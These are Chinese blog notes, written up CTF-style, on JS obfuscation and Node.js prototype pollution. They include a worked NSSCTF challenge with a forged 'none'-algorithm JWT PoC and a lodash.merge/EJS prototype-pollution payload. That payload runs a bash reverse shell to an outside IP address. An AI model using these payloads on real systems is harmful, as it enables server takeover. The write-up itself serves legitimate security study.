JS混淆加密&JS原型链污染笔记,网络安全爱好者中心-神域博客网

前言

web2

JS混淆加密+CTF例题题解

一个小游戏需要玩到114514分才能得到flag

要玩到114514分要好久好久,所以肯定要想其他解法,

这题有多种解法,修改游戏逻辑(难）解密js混淆加密(中）解密md5(易）

这里要介绍js混淆也就采用第二种方法(实际上比赛的时候也是用第二种方法解的)

查看源代码,查看游戏逻辑js

仔细查看一下

function _0x4857(_0x398c7a, _0x2b4590) { const _0x104914 =
_0x25ec(); _0x4857 = function (_0x22f014, _0x212d58) { _0x22f014 =
_0x22f014 - (0x347 + 0x46a * -0x7 + 0x1cc6); let _0x321373 =
_0x104914[_0x22f014]; return _0x321373; }; return
_0x4857(_0x398c7a, _0x2b4590); } (function (_0x414f9c, _0x3d4799)
{
//...................省略大量代码

上述即是js混淆加密的明显特征对function函数体内容进行了混淆加密

只是解密网站要找好久,网上真正可以解密js混淆的网站很少

https://m.freebuf.com/articles/web/391884.html 最后是在这个网站上学习并且找到的解密网站

js混淆加密在线解密网站https://deobfuscate.relative.im/ 用了好长时间找,现在分享出来了希望能收藏一下

拿到解密网站,对game.js进行解密

搜索逻辑赢得的游戏逻辑114514

可以看到给了一个ascii码的数组

只需ascii码转为字符即可拿到flag

num = '89,111,117,114,32,97,114,101,32,119,105,110,33,32,102,108,97,103,123,87,101,49,99,48,109,51,95,86,67,84,70,95,50,48,50,52,125'flag = ''.join([chr(int(num)) for num in num.split(',')])print(flag)

node.JS原型链污染

Web中的高端局

前提知识:JS定义对象结构体是以函数的方式去定义与其他语言不同

proto&prototype

他们的关系如下

实操便于更好理解

先定义o1={a:1,b:2} 定义o2={c:3,d:4}

我们两个都走上一级皆是object的对象期中object为null 因为我们没有new 出一个对象

再网上走两者o1,o2都是null

接下来我们令o1下的name=“hello world”

并且输出o1.name

此时o2的name没有定义如果输出o2.name理论上是null

但实际上却是与o1共享name

此时就能大概猜测出原型链污染的原理了二者共享object父级通过污染父级以达到污染子类的目的

此时我们进一步扩大危害在此基础上定义o1对象下的一个函数func

o1.proto.func=function(){return this.a+1}

并且调用一下o1的函数

此时我们对于o2调用函数

实际上o1和o2共享object的原型父级 object本身也是一个对象

期中对象.proto=构造器(构造函数).prototype

此时我们引入constructor

constructor用于指向构造函数

JS中原型链重要作用

再次提到前提知识:JS定义对象结构体是以函数的方式去定义与其他语言不同

此时我们按照正常思维去创造一个对象(在在对象中定义一个函数）

输出结果

那么如果我们想调用this.show就必须重新生成一个对象来调用show 方法

也就说this.show是绑定在Goo对象当中

但是在python 或者C/C++中定义的函数都是在类当中每次生成一个对象都重新生成一次show()方法

这样极其耗费内存我们只想生成一次this.show

此时我们就可以运用prototype来使用了

我们把show对象调用在Goo之外

这样我们每次调用show方法的时候只需要调用之前用prototype生成的方法总共一次

直接省去了加载的过程

原型链继承举例介绍

以继承链为污染讲解

例题：

我们定义了两个对象一个Father 还有一个Son

我们使用rce new出一个新对象

并且输出rce.lastname 此时我们并没有定义rce.lastname输入应该是报错或者是null

此时我们查看结果

子类继承了父类的Fater并且输出了Src

总结：

JavaScript中原型链污染的例题介绍

正如最开始的原型链介绍的修改是在node.js里的原型链污染

下面在JavaScript进行演示原型链污染

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
      zoo={a:618}
      console.log(zoo.a)
      zoo.__proto__.a=888
      console.log(zoo.a) //此时并没有修改a本身的值
      let b={}//定义一个空对象
      console.log(b.a)//尝试输出空对象下的zoo中的a
    </script>
</body>
</html>

何时可以利用js原型链污染

当可以控制js中数组的键名的时候就可以污染原型链

下面将以CTF题介绍

高端局JS原型链污染CTF题

发觉Vemonctf原型链比较简单哒所以就来个nssctf中的原型链的题

这题还是有点难搞

靶机地址：

走

查看源代码

访问/source

泄露源代码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

留下代码,先进行注册

得到了token进行尝试登录

尝试更改UID

好了也就只能到这一步了

下面进行代码审计

已经不是第一次感觉打CTF的啥都要学了

长话短说哎不想敲了

jwt可以通过加密算法以及token的值可以判断出来也在之前的比赛遇见过

进行解密

再次进行代码审计

可以看出如果用户不等于nss就弹出U cant change uid

所以我们需要伪造一下nss的token

继续代码审计检查一下加密算法

verify()指定算法的正确方式应该是通过algorithms传入数组而这里少了个s

跟ctfshow的php反序列化里面的题好像都是写错了这种在实战上属于是万里挑一才能审计出来太难了

在algorithms为none的情况下，空签名且空秘钥是被允许的；如果指定了algorithms为具体的某个算法，则密钥是不能为空的。在JWT库中，如果没指定算法，则默认使用none。

在这里指定了算法HS256 但是他少写了个s 此时为空就被允许了

jwt 审计的误用从一道CTF题看Node.JS中的JWT库误用 – SecPulse.COM | 安全脉搏

里面包含poc

审计代码

sid为空数组也就是JWT中的secretid为空数组[]就可以伪造

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
  secretid: [],
  username: 'nss',
  password: '123456',
  "iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

走

继续代码审计

merge以及clone都是js原型链污染的非常常见的切入点

此时的路由指向/update 使用的方法是post 接受data

ejs模板引擎污染拿flag即可

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.242.150.126/1111 0>&1\"');","compileDebug":true
    }
}

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